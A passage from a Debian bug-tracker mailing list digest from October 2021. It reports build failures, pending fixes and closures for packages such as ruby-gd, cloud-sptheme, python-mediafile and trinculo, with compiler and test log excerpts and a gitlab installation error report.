message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
991650: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=991650
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: python-django-imagekit
Version: 4.0.2-3
Severity: serious
Justification: FTBFS on amd64
Tags: bullseye sid ftbfs
Usertags: ftbfs-20210728 ftbfs-bullseye

Hi,

During a rebuild of all packages in bullseye, your package failed to build
on amd64.

Relevant part (hopefully):
> make[1]: Entering directory '/<>'
> dh_auto_build
> I: pybuild base:232: /usr/bin/python3 setup.py build 
> running build
> running build_py
> creating /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit
> copying imagekit/registry.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit
> copying imagekit/generatorlibrary.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit
> copying imagekit/lib.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit
> copying imagekit/pkgmeta.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit
> copying imagekit/__init__.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit
> copying imagekit/conf.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit
> copying imagekit/hashers.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit
> copying imagekit/compat.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit
> copying imagekit/admin.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit
> copying imagekit/exceptions.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit
> copying imagekit/signals.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit
> copying imagekit/utils.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit
> copying imagekit/files.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit
> creating 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/forms
> copying imagekit/forms/fields.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/forms
> copying imagekit/forms/__init__.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/forms
> creating 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/models
> copying imagekit/models/__init__.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/models
> creating 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/processors
> copying imagekit/processors/resize.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/processors
> copying imagekit/processors/__init__.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/processors
> copying imagekit/processors/crop.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/processors
> copying imagekit/processors/base.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/processors
> copying imagekit/processors/utils.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/processors
> creating 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/specs
> copying imagekit/specs/__init__.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/specs
> copying imagekit/specs/sourcegroups.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/specs
> creating 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/templatetags
> copying imagekit/templatetags/__init__.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/templatetags
> copying imagekit/templatetags/imagekit.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/templatetags
> creating 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/cachefiles
> copying imagekit/cachefiles/backends.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/cachefiles
> copying imagekit/cachefiles/__init__.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/cachefiles
> copying imagekit/cachefiles/strategies.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/cachefiles
> copying imagekit/cachefiles/namers.py -> 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/cachefiles
> creating 
> /<>/.pybuild/cpython3_3.9_django-imagekit/build/imagekit/management
> copying 

Bug#996233: marked as done (ruby-gd: FTBFS with ruby3.0: error: assignment of read-only member ‘klass’)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 21:49:22 +
with message-id 
and subject line Bug#996233: fixed in ruby-gd 0.8.0-8
has caused the Debian Bug report #996233,
regarding ruby-gd: FTBFS with ruby3.0: error: assignment of read-only member 
‘klass’
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
996233: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=996233
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: ruby-gd
Version: 0.8.0-7
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: debian-r...@lists.debian.org
Usertags: ruby3.0

Hi,

We are about to enable building against ruby3.0 on unstable. During a test
rebuild, ruby-gd was found to fail to build in that situation.

To reproduce this locally, you need to install ruby-all-dev from experimental
on an unstable system or build chroot.

Relevant part (hopefully):
> ┌──┐
> │ Build native extensions for ruby3.0 
>  │
> └──┘
> 
> /usr/bin/ruby3.0 /usr/lib/ruby/vendor_ruby/gem2deb/extension_builder.rb 
> /<> debian/ruby-gd
> "make clean"
> make[1]: Entering directory '/<>'
> make[1]: Leaving directory '/<>'
> "make clean"
> make[1]: Entering directory '/<>'
> make[1]: Leaving directory '/<>'
> current directory: /<>
> ["/usr/bin/ruby3.0", "-I", "/usr/lib/ruby/vendor_ruby", "-r", 
> "./siteconf20211004-3132885-1cqqoz.rb", "extconf.rb"]
> checking for ruby/io.h... yes
> checking for rb_io_t in ruby.h,rubyio.h... no
> checking for -ljpeg... yes
> checking for -lttf... no
> checking for -lX11... yes
> checking for -lXpm... yes
> checking for -lfreetype... yes
> checking for -lz... yes
> checking for -lpng... yes
> checking for gdImagePng() in -lgd... yes
> checking for -lm... yes
> checking for gdImageStringTTF()... yes
> checking for gdImageColorResolve()... yes
> checking for gdImageCreateFromXpm()... yes
> checking for gdImageCreateFromJpeg()... yes
> checking for gdImageStringFT()... yes
> checking for gdImageAlphaBlending()... yes
> creating Makefile
> current directory: /<>
> ["make", "V=1", "CC=gcc -fdebug-prefix-map=/<>=.", "CXX=g++ 
> -fdebug-prefix-map=/<>=.", "DESTDIR=", "clean"]
> make[1]: Entering directory '/<>'
> rm -f 
> rm -f GD.so  *.o  *.bak mkmf.log .*.time
> make[1]: Leaving directory '/<>'
> current directory: /<>
> ["make", "V=1", "CC=gcc -fdebug-prefix-map=/<>=.", "CXX=g++ 
> -fdebug-prefix-map=/<>=.", "DESTDIR="]
> make[1]: Entering directory '/<>'
> gcc -fdebug-prefix-map=/<>=. -I. 
> -I/usr/include/x86_64-linux-gnu/ruby-3.0.0 
> -I/usr/include/ruby-3.0.0/ruby/backward -I/usr/include/ruby-3.0.0 -I. 
> -DHAVE_RUBY_IO_H -DHAVE_GDIMAGESTRINGTTF -DHAVE_GDIMAGECOLORRESOLVE 
> -DHAVE_GDIMAGECREATEFROMXPM -DHAVE_GDIMAGECREATEFROMJPEG 
> -DHAVE_GDIMAGESTRINGFT -DHAVE_GDIMAGEALPHABLENDING -I/usr/X11R6/include 
> -I/usr/local/include -Wdate-time -D_FORTIFY_SOURCE=2   -fPIC -g -O2 
> -ffile-prefix-map=/build/ruby3.0-2KsnwC/ruby3.0-3.0.2=. 
> -fstack-protector-strong -Wformat -Werror=format-security -fPIC 
> -DENABLE_GD_2_0  -o GD.o -c GD.c
> GD.c: In function ‘img_polygon’:
> GD.c:1021:22: warning: passing argument 1 of ‘rb_array_len’ makes integer 
> from pointer without a cast [-Wint-conversion]
>  1021 | len = RARRAY_LEN(ply)/2;
>   |  ^~~
>   |  |
>   |  struct RArray *
> In file included from /usr/include/ruby-3.0.0/ruby/internal/core.h:23,
>  from /usr/include/ruby-3.0.0/ruby/ruby.h:26,
>  from /usr/include/ruby-3.0.0/ruby.h:38,
>  from GD.c:12:
> /usr/include/ruby-3.0.0/ruby/internal/core/rarray.h:131:20: note: expected 
> ‘VALUE’ {aka ‘long unsigned int’} but argument is of type ‘struct RArray *’
>   131 | rb_array_len(VALUE a)
>   |  ~~^
> GD.c:1024:32: warning: passing argument 1 of ‘RARRAY_PTR’ makes integer from 
> pointer without a cast [-Wint-conversion]
>  1024 |  pnt[i].x = NUM2INT(RARRAY_PTR(ply)[i*2]);
>   |^~~
>   ||
>   |struct RArray *
> In file included from /usr/include/ruby-3.0.0/ruby/internal/core.h:23,
>  from /usr/include/ruby-3.0.0/ruby/ruby.h:26,
>  from /usr/include/ruby-3.0.0/ruby.h:38,
>  from GD.c:12:
> /usr/include/ruby-3.0.0/ruby/internal/core/rarray.h:244:18: note: expected 
> ‘VALUE’ 

Processed: Bug#991650 marked as pending in python-django-imagekit

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #991650 [src:python-django-imagekit] python-django-imagekit: FTBFS: 
dh_auto_test: error: pybuild --test -i python{version} -p 3.9 returned exit 
code 13
Added tag(s) pending.

-- 
991650: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=991650
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#991650: marked as pending in python-django-imagekit

[Michael Fladischer]

Control: tag -1 pending

Hello,

Bug #991650 in python-django-imagekit reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below and you can check the diff of the fix at:

https://salsa.debian.org/python-team/packages/python-django-imagekit/-/commit/18112cf13952d54447b18b9a83030ccc4ee0ee41


Add patch to avoid triggering path traversal detection in tests (Closes: 
#991650).


(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/991650

Bug#997428: marked as done (cloud-sptheme: FTBFS: AttributeError: module 'sphinx.roles' has no attribute 'emph_literal_role')

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 21:33:29 +
with message-id 
and subject line Bug#997428: fixed in cloud-sptheme 1.10.1.post20200504175005-2
has caused the Debian Bug report #997428,
regarding cloud-sptheme: FTBFS: AttributeError: module 'sphinx.roles' has no 
attribute 'emph_literal_role'
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
997428: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997428
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: cloud-sptheme
Version: 1.10.1.post20200504175005-1
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20211023 ftbfs-bookworm

Hi,

During a rebuild of all packages in sid, your package failed to build
on amd64.


Relevant part (hopefully):
>  debian/rules build
> dh build --with python3,sphinxdoc --buildsystem=pybuild
>dh_update_autotools_config -O--buildsystem=pybuild
>dh_autoreconf -O--buildsystem=pybuild
>dh_auto_configure -O--buildsystem=pybuild
> I: pybuild base:232: python3.9 setup.py config 
> running config
>dh_auto_build -O--buildsystem=pybuild
> I: pybuild base:232: /usr/bin/python3 setup.py build 
> running build
> running build_py
> creating /<>/.pybuild/cpython3_3.9/build/cloud_sptheme
> copying cloud_sptheme/__init__.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme
> copying cloud_sptheme/make_helper.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme
> copying cloud_sptheme/utils.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme
> creating /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/tests
> copying cloud_sptheme/tests/__init__.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/tests
> copying cloud_sptheme/tests/test_ext_relbar_toc.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/tests
> copying cloud_sptheme/tests/utils.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/tests
> creating /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> copying cloud_sptheme/ext/autoattribute_search_bases.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> copying cloud_sptheme/ext/relbar_toc.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> copying cloud_sptheme/ext/__init__.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> copying cloud_sptheme/ext/docfield_markup.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> copying cloud_sptheme/ext/index_styling.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> copying cloud_sptheme/ext/table_styling.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> copying cloud_sptheme/ext/auto_redirect.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> copying cloud_sptheme/ext/perpage.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> copying cloud_sptheme/ext/allow_unreferenced_footnotes.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> copying cloud_sptheme/ext/role_index.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> copying cloud_sptheme/ext/relbar_links.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> copying cloud_sptheme/ext/issue_tracker.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> copying cloud_sptheme/ext/autodoc_sections.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> copying cloud_sptheme/ext/page_only.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> copying cloud_sptheme/ext/escaped_samp_literals.py -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext
> creating /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext/static
> copying cloud_sptheme/ext/static/table_styling.css -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext/static
> copying cloud_sptheme/ext/static/auto_redirect.css -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext/static
> copying cloud_sptheme/ext/static/auto_redirect.html_t -> 
> /<>/.pybuild/cpython3_3.9/build/cloud_sptheme/ext/static
> I: pybuild pybuild:311: SPHINX_THEME="classic" http_proxy="127.0.0.1:9" 
> python3.9 -m sphinx -N -b html docs/ 
> /<>/debian/cloud-sptheme/docs/html
> Running Sphinx v4.2.0
> 
> Exception occurred:
>   File "/<>/cloud_sptheme/ext/escaped_samp_literals.py", line 
> 92, in 
> if value is mod.emph_literal_role
> AttributeError: module 'sphinx.roles' has no attribute 'emph_literal_role'
> The full traceback has been saved in /tmp/sphinx-err-tu80sdfj.log, if you 
> want to report the issue to the developers.
> Please also report this if it was a user error, so that a better error 
> message can be provided next time.
> A bug report can be filed in the tracker at 
> 

Processed: Bug#996233 marked as pending in ruby-gd

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #996233 [src:ruby-gd] ruby-gd: FTBFS with ruby3.0: error: assignment of 
read-only member ‘klass’
Added tag(s) pending.

-- 
996233: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=996233
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#996233: marked as pending in ruby-gd

[Daniel Leidert]

Control: tag -1 pending

Hello,

Bug #996233 in ruby-gd reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below and you can check the diff of the fix at:

https://salsa.debian.org/ruby-team/ruby-gd/-/commit/79eb24c02a5e6e5acb2f33d3984e4954eed2418b


Fix build with Ruby 3.0 and refresh patches

  * d/patches/port-to-ruby2.1.patch: Update patch.
- Fix FTBFS with Ruby 3.0 (closes: #996233).
  * d/patches/*: Update and refresh.


(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/996233

Bug#997428: marked as pending in cloud-sptheme

[Stefano Rivera]

Control: tag -1 pending

Hello,

Bug #997428 in cloud-sptheme reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below and you can check the diff of the fix at:

https://salsa.debian.org/python-team/packages/cloud-sptheme/-/commit/2f5eee37358ec34157a87443b5d87b9f48586213


Patch: Support Sphinx 4. (Closes: #997428)


(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/997428

Processed: Bug#997428 marked as pending in cloud-sptheme

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #997428 [src:cloud-sptheme] cloud-sptheme: FTBFS: AttributeError: module 
'sphinx.roles' has no attribute 'emph_literal_role'
Added tag(s) pending.

-- 
997428: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997428
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#997537: marked as done (python-mediafile: FTBFS: rm: cannot remove '/<>/debian/python3-mediafile/usr/lib/python3.9/dist-packages/mediafile-*dist-info/direct_url.json': No such file or

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 21:06:24 +
with message-id 
and subject line Bug#997537: fixed in python-mediafile 0.8.1-2
has caused the Debian Bug report #997537,
regarding python-mediafile: FTBFS: rm: cannot remove 
'/<>/debian/python3-mediafile/usr/lib/python3.9/dist-packages/mediafile-*dist-info/direct_url.json':
 No such file or directory
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
997537: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997537
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: python-mediafile
Version: 0.8.1-1
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20211023 ftbfs-bookworm

Hi,

During a rebuild of all packages in sid, your package failed to build
on amd64.


Relevant part (hopefully):
> make[1]: Entering directory '/<>'
> dh_auto_test -- --system=custom --test-args='{interpreter} -m unittest 
> discover -s test -v'
> I: pybuild base:232: python3.9 -m unittest discover -s test -v
> test_append_genre_list (test_mediafile.AIFFTest) ... ok
> test_delete_art (test_mediafile.AIFFTest) ... ok
> test_delete_nonexisting (test_mediafile.AIFFTest) ... ok
> test_delete_packed_total (test_mediafile.AIFFTest) ... ok
> test_delete_partial_date (test_mediafile.AIFFTest) ... ok
> test_delete_tag (test_mediafile.AIFFTest) ... ok
> test_delete_year (test_mediafile.AIFFTest) ... ok
> test_overwrite_full (test_mediafile.AIFFTest) ... ok
> test_r128_gain_stored_as_q8_number (test_mediafile.AIFFTest) ... ok
> test_read_audio_properties (test_mediafile.AIFFTest) ... ok
> test_read_empty (test_mediafile.AIFFTest) ... ok
> test_read_full (test_mediafile.AIFFTest) ... ok
> test_read_genre_list (test_mediafile.AIFFTest) ... ok
> test_read_nonexisting (test_mediafile.AIFFTest) ... ok
> test_save_nonexisting (test_mediafile.AIFFTest) ... ok
> test_set_jpg_art (test_mediafile.AIFFTest) ... ok
> test_set_png_art (test_mediafile.AIFFTest) ... ok
> test_unparseable_date (test_mediafile.AIFFTest)
> The `unparseable.*` fixture should not crash but should return None ... ok
> test_update_empty (test_mediafile.AIFFTest) ... ok
> test_update_full (test_mediafile.AIFFTest) ... ok
> test_write_counters_without_total (test_mediafile.AIFFTest) ... ok
> test_write_date_components (test_mediafile.AIFFTest) ... ok
> test_write_dates (test_mediafile.AIFFTest) ... ok
> test_write_empty (test_mediafile.AIFFTest) ... ok
> test_write_genre_list (test_mediafile.AIFFTest) ... ok
> test_write_genre_list_get_first (test_mediafile.AIFFTest) ... ok
> test_write_incomplete_date_components (test_mediafile.AIFFTest) ... ok
> test_write_packed (test_mediafile.AIFFTest) ... ok
> test_append_genre_list (test_mediafile.AlacTest) ... ok
> test_delete_art (test_mediafile.AlacTest) ... ok
> test_delete_nonexisting (test_mediafile.AlacTest) ... ok
> test_delete_packed_total (test_mediafile.AlacTest) ... ok
> test_delete_partial_date (test_mediafile.AlacTest) ... ok
> test_delete_tag (test_mediafile.AlacTest) ... ok
> test_delete_year (test_mediafile.AlacTest) ... ok
> test_overwrite_full (test_mediafile.AlacTest) ... ok
> test_r128_gain_stored_as_q8_number (test_mediafile.AlacTest) ... ok
> test_read_audio_properties (test_mediafile.AlacTest) ... ok
> test_read_empty (test_mediafile.AlacTest) ... ok
> test_read_full (test_mediafile.AlacTest) ... ok
> test_read_genre_list (test_mediafile.AlacTest) ... ok
> test_read_nonexisting (test_mediafile.AlacTest) ... ok
> test_save_nonexisting (test_mediafile.AlacTest) ... ok
> test_set_jpg_art (test_mediafile.AlacTest) ... ok
> test_set_png_art (test_mediafile.AlacTest) ... ok
> test_unparseable_date (test_mediafile.AlacTest)
> The `unparseable.*` fixture should not crash but should return None ... ok
> test_update_empty (test_mediafile.AlacTest) ... ok
> test_update_full (test_mediafile.AlacTest) ... ok
> test_write_counters_without_total (test_mediafile.AlacTest) ... ok
> test_write_date_components (test_mediafile.AlacTest) ... ok
> test_write_dates (test_mediafile.AlacTest) ... ok
> test_write_empty (test_mediafile.AlacTest) ... ok
> test_write_genre_list (test_mediafile.AlacTest) ... ok
> test_write_genre_list_get_first (test_mediafile.AlacTest) ... ok
> test_write_incomplete_date_components (test_mediafile.AlacTest) ... ok
> test_write_packed (test_mediafile.AlacTest) ... ok
> test_add_image_structure (test_mediafile.ApeTest) ... ok
> test_add_tiff_image (test_mediafile.ApeTest) ... ok
> test_append_genre_list (test_mediafile.ApeTest) ... ok
> test_delete_art (test_mediafile.ApeTest) ... ok
> 

Bug#998141: opencv breaks auto-multiple-choice autopkgtest

[Paul Gevers]

Hi,

On 31-10-2021 08:09, Alexis Bienvenüe wrote:
> After rebuilding auto-multiple-choice from the same 1.5.1-2 sources in
> a sid environment, it passes the autopkgtest.
> Maybe this is related to this issue, where it is said that OpenCV 4.x
> releases don't guarantee ABI compatibility:
> https://github.com/opencv/opencv/issues/20878

I think that means you must bump the SONAME (if not done upstream, with
a Debian specific version), go through NEW, ask for a transition block
with the release team and have all reverse dependencies rebuild.

Paul



OpenPGP_signature
Description: OpenPGP digital signature

Processed: bug 997428 is forwarded to https://foss.heptapod.net/doc-utils/cloud_sptheme/-/issues/45

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> forwarded 997428 https://foss.heptapod.net/doc-utils/cloud_sptheme/-/issues/45
Bug #997428 [src:cloud-sptheme] cloud-sptheme: FTBFS: AttributeError: module 
'sphinx.roles' has no attribute 'emph_literal_role'
Set Bug forwarded-to-address to 
'https://foss.heptapod.net/doc-utils/cloud_sptheme/-/issues/45'.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
997428: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997428
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#997266: marked as done (trinculo: FTBFS: src/trinculo.cpp:45:19: error: invalid ‘static_cast’ from type ‘std::__cxx11::basic_ostringstream’ to type ‘std::ostringstream&’ {aka ‘std::__cxx11::

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 19:34:35 +
with message-id 
and subject line Bug#997266: fixed in trinculo 0.96+dfsg-4
has caused the Debian Bug report #997266,
regarding trinculo: FTBFS: src/trinculo.cpp:45:19: error: invalid ‘static_cast’ 
from type ‘std::__cxx11::basic_ostringstream’ to type 
‘std::ostringstream&’ {aka ‘std::__cxx11::basic_ostringstream&’}
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
997266: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997266
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: trinculo
Version: 0.96+dfsg-3
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs

Hi,

During a rebuild of all packages in sid, your package failed to build
on amd64.


Relevant part (hopefully):
> x86_64-linux-gnu-g++ -g -O2 -ffile-prefix-map=/<>=. 
> -fstack-protector-strong -Wformat -Werror=format-security -DLINUX -Isrc -o 
> bin/trinculo src/trinculo.cpp -llapack -lpthread -Wl,-z,relro -Wl,-z,now
> src/trinculo.cpp: In function ‘int runMultinom(inputs*, bedfile*, 
> dosagefile*, covars*, phenos*, std::vector)’:
> src/trinculo.cpp:45:19: error: invalid ‘static_cast’ from type 
> ‘std::__cxx11::basic_ostringstream’ to type ‘std::ostringstream&’ {aka 
> ‘std::__cxx11::basic_ostringstream&’}
>45 | #define SSTR( x ) dynamic_cast< std::ostringstream & >( \
>   |   ^~~
>46 | ( std::ostringstream() << std::dec << x ) ).str()
>   | ~~~
> src/trinculo.cpp:412:58: note: in expansion of macro ‘SSTR’
>   412 |  fullnames.push_back(keepName + "_cov" + SSTR(j+1));
>   |  ^~~~
> make[1]: *** [debian/rules:14: override_dh_auto_build] Error 1


The full build log is available from:
http://qa-logs.debian.net/2021/10/23/trinculo_0.96+dfsg-3_unstable.log

A list of current common problems and possible solutions is available at
http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute!

If you reassign this bug to another package, please marking it as 'affects'-ing
this package. See https://www.debian.org/Bugs/server-control#affects

If you fail to reproduce this, please provide a build log and diff it with mine
so that we can identify if something relevant changed in the meantime.
--- End Message ---
--- Begin Message ---
Source: trinculo
Source-Version: 0.96+dfsg-4
Done: Nilesh Patra 

We believe that the bug you reported is fixed in the latest version of
trinculo, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 997...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Nilesh Patra  (supplier of updated trinculo package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Mon, 01 Nov 2021 00:43:03 +0530
Source: trinculo
Architecture: source
Version: 0.96+dfsg-4
Distribution: unstable
Urgency: medium
Maintainer: Debian Med Packaging Team 

Changed-By: Nilesh Patra 
Closes: 997266
Changes:
 trinculo (0.96+dfsg-4) unstable; urgency=medium
 .
   * Add patch to fix FTBFS with gcc-11 (Closes: #997266)
   * Add myself as an uploader instead
 + Thanks Pranav, for your work so far
   * Bump debhelper compatibility level to 13
   * Bump Standards-Version to 4.6.0 (no changes needed)
   * Port python2 scripts to python3 fix interpreter, fix bugs in them
   * Install trinculo in /usr/bin, not in /bin
   * Run testing.py file (vendored by upstream) as autopkgtest as well
Checksums-Sha1:
 058f66492208589faecc99bc19bd9f4273d003b9 2076 trinculo_0.96+dfsg-4.dsc
 41f0a6d865672204d3dc5fb82f891f86d4051bcd 13452 
trinculo_0.96+dfsg-4.debian.tar.xz
 a2650b714ed6ae20bc22cd62da5f3cf8dd2a96e1 6030 
trinculo_0.96+dfsg-4_amd64.buildinfo
Checksums-Sha256:
 ebd02d41f2ad6193869567f107ecdfb88af1e74898f92ff8b241db8cdbf72fa3 2076 
trinculo_0.96+dfsg-4.dsc
 d816557359930cc17c7961a5768a5c8ac4f5c1e2d1dc46da34fb2540ad9a 13452 
trinculo_0.96+dfsg-4.debian.tar.xz
 ba445cb449b08cfa41cef8686031e66a558ed8a95ad1924efbe41020e679907b 6030 
trinculo_0.96+dfsg-4_amd64.buildinfo
Files:
 

Bug#998193: gitlab: dpkg --configure gitlab fails with NoMethodError: undefined method `build' for debian bullseye

[Nikos Frangakis]

Package: gitlab
Version: 14.1.7+ds1-2~fto11+1
Severity: grave
Justification: renders package unusable

Dear Maintainer,

*** Reporter, please consider answering these questions, where appropriate ***

   * What led up to the situation?
   Fresh installation of gitlab from fasttrack repository fails with the
   following error: 


Initializing database...
fatal: not a git repository (or any of the parent directories): .git
fatal: not a git repository (or any of the parent directories): .git
/usr/lib/ruby/vendor_ruby/nokogumbo/html5.rb:13: warning: already initialized 
constant Nokogiri::HTML5::HTML_NAMESPACE
/var/lib/gems/2.7.0/gems/nokogiri-1.12.5-x86_64-linux/lib/nokogiri/html5.rb:227:
 warning: previous definition of HTML_NAMESPACE was here
/usr/lib/ruby/vendor_ruby/nokogumbo/html5.rb:14: warning: already initialized 
constant Nokogiri::HTML5::MATHML_NAMESPACE
/var/lib/gems/2.7.0/gems/nokogiri-1.12.5-x86_64-linux/lib/nokogiri/html5.rb:228:
 warning: previous definition of MATHML_NAMESPACE was here
/usr/lib/ruby/vendor_ruby/nokogumbo/html5.rb:15: warning: already initialized 
constant Nokogiri::HTML5::SVG_NAMESPACE
/var/lib/gems/2.7.0/gems/nokogiri-1.12.5-x86_64-linux/lib/nokogiri/html5.rb:229:
 warning: previous definition of SVG_NAMESPACE was here
